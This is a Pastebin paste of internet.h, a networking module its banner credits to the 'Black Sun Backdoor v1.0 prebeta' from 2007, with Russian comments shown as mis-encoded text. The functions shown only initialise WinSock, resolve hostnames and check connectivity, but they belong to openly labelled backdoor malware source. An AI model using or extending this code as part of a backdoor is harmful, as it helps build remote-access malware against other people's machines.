Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * ---------------------------------------------------------------------
- * ____ _ _ _____
- * | _ \| | | | / ____|
- * | |_) | | __ _ ___| | _| (___ _ _ _ __
- * | _ <| |/ _` |/ __| |/ /\___ \| | | | '_ \
- * | |_) | | (_| | (__| < ____) | |_| | | | |
- * |____/|_|\__,_|\___|_|\_\_____/ \__,_|_| |_|
- * Black Sun Backdoor v1.0 prebeta
- *
- * (x) Cytec 2007
- *
- * ---------------------------------------------------------------------
- * [internet.h]
- * Ìîäóëü ñîñòîÿùèé èç ôóíêöèé äëÿ ðàáîòû ñ ñåòüþ.
- * ---------------------------------------------------------------------
- */
- // ------------------ [ Èíèöèöèàëèçàöèÿ WinSock2 API ] ------------------ //
- static DWORD WINAPI InitWinSock2API()
- {
- WSADATA wsaData;
- WSAStartup(MAKEWORD(2,2),&wsaData);
- return 0;
- }
- // ------------------ [ Ïîëó÷åíèå IP-àäðåñà ïî èìåíè õîñòà ] ------------------ //
- static DWORD WINAPI GetIpByHostname(char *host)
- {
- DWORD ret = 0;
- struct hostent * hp = gethostbyname(host);
- if (!hp) ret = inet_addr(host);
- if ((!hp)&&(ret == INADDR_NONE)) return 0;
- if (hp != NULL) fMemCpy((void*)&ret, hp->h_addr,hp->h_length);
- return ret;
- }
- // ------------------ [ Ïðîâåðêà ñîåäèíåíèÿ ñ èíòåðíåòîì ] ------------------ //
- static BOOL CheckInternetConnection()
- {
- DWORD lpdwFlags;
- BOOL Connect;
- HINSTANCE hLib = NULL;
- INETCHECKPROC pfnInternetGetConnectedState;
- hLib = LoadLibrary("wininet.dll");
- if (!hLib){ return 0; }
- pfnInternetGetConnectedState = (INETCHECKPROC)GetProcAddress(hLib, "InternetGetConnectedState");
- if(!pfnInternetGetConnectedState) return FALSE;
- Connect = pfnInternetGetConnectedState(&lpdwFlags, 0) != 0;
- FreeLibrary(hLib);
- return Connect;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement